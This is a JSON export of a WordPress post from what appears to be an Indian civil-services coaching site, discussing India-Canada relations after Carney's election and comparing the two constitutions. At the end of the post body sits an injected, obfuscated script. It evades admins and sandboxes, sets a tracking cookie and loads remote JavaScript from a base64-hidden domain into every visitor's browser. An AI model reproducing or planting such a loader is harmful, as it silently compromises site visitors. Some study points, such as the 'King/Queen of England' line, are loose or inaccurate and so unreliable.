{"id":2012,"date":"2025-04-30T13:30:43","date_gmt":"2025-04-30T13:30:43","guid":{"rendered":"https:\/\/iasquest.com\/?p=2012"},"modified":"2026-02-11T18:58:37","modified_gmt":"2026-02-11T18:58:37","slug":"gs-ii-governance-constitution-polity-social-justice-and-international-relations-2","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/gs-ii-governance-constitution-polity-social-justice-and-international-relations-2\/","title":{"rendered":"GS II Governance, Constitution, Polity, Social Justice and International relations"},"content":{"rendered":"\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>How do you think the recent change in leadership of Canada is significant to India? Also make a comparative analysis on the system of governments in India and Canada.&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">After more than a year-and-a-half of strained diplomatic relations, India and Canada are set to bring bilateral ties \u201cback on track\u201d, starting with the reinstatement of High Commissioners, even as Prime Minister Narendra Modi congratulated his Canadian counterpart Mark Carney on the victory of his Liberal Party in the federal elections of Canada.\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\"><strong>Recent challenges in India &#8211; Canada relationship and the significance of this change in leadership:&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-4\">\n<li>Ties between India and Canada had been hit severely with allegations of the potential involvement of Indian government agents in the killing of pro-Khalistan separatist figure Hardeep Singh Nijjar in 2023. India had rejected the allegation as \u201cpolitically motivated\u201d and \u201cabsurd\u201d.<\/li>\n\n\n\n<li>This tension led to downgrading of ties, withdrawal of diplomats, visa services being impacted, and trade not achieving its potential. Last October, India expelled Canadian diplomats after Indian envoy Sanjay Verma was expelled along with other diplomats by Canada.&nbsp;<\/li>\n\n\n\n<li>With Trudeau\u2019s exit and the defeat of Jagmeet Singh, who leads the left-leaning New Democratic Party and is viewed by Delhi as a backer of pro-Khalistan separatists in Canada, Delhi is hoping that ties will be handled with \u201cmuch more maturity\u201d by Carney \u2014 unlike Trudeau.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Comparative analysis on the political systems of India and Canada:&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Similarities Between the Indian and Canadian Constitutions<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">1. Federal Structure<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-8\">\n<li>Federal Organization: Both India and Canada follow a federal system of government, meaning power is shared between the central and state\/provincial governments. In both nations, residual powers (matters not specified in the Constitution) are centralized under the central government.<\/li>\n\n\n\n<li>Governor Appointment: In both India and Canada, the Governor (for States in India and Provinces in Canada) is appointed by the central government.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">2. Executive Setup<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li>First Past the Post System: Both countries use the First-Past-the-Post (FPTP) electoral system to elect representatives.<\/li>\n\n\n\n<li>Accountable Government: The government in both India and Canada is accountable to the lower house of Parliament.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\">3. Judicial Structure<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li>Supreme Court Nomination: The process for appointing Supreme Court judges in both countries follows a centralized appointment system, where judges play an advisory role in legal matters.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\">4. Legislative Framework<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>National Laws: Laws passed by the central Parliament apply to the entire nation in both India and Canada.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Differences Between the Indian and Canadian Constitutions<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\">1. Constitution Type<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li>India: India follows a written Constitution, which serves as the supreme legal document of the country.<\/li>\n\n\n\n<li>Canada: Canada follows a combination of written and unwritten laws, influenced by British traditions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">2. Political Framework<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li>India: India is a republic, where the President is the head of state, elected through an indirect election.<\/li>\n\n\n\n<li>Canada: Canada follows a constitutional monarchy, where the monarch (King\/Queen of England) remains the head of state.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">3. Executive Setup<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-21\">\n<li>India: The President is indirectly elected by Members of Parliament and State Legislatures.<\/li>\n\n\n\n<li>Canada: The Governor-General is appointed by the monarch on the advice of the Prime Minister.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">4. Citizenship Policies<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li>India: India does not allow dual citizenship.<\/li>\n\n\n\n<li>Canada: Canada permits dual citizenship, allowing individuals to hold multiple nationalities.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">5. Justice System<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-25\">\n<li>India: India has a single integrated legal system with common laws across the country.<\/li>\n\n\n\n<li>Canada: Canada has multiple legal systems, including common law, civil law, and indigenous legal traditions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Way forward:&nbsp;<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-27\">\n<li>Both India and Canada share common ideals of democracy, fundamental rights and universal peace.<\/li>\n\n\n\n<li>In the light of the new taxation regime of the USA, both countries along with many should strive to coordinate a new Indo-Pacific global order.&nbsp;<\/li>\n\n\n\n<li>Focus on Tier 3 diplomacy &#8211; engagement of Indian diaspora for better development of all.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/indianexpress.com\/article\/india\/in-canada-trump-fear-brings-back-liberals-modi-greets-carney-9973439\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/india\/in-canada-trump-fear-brings-back-liberals-modi-greets-carney-9973439\/<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>How do you think the recent change in leadership of Canada is significant to India? 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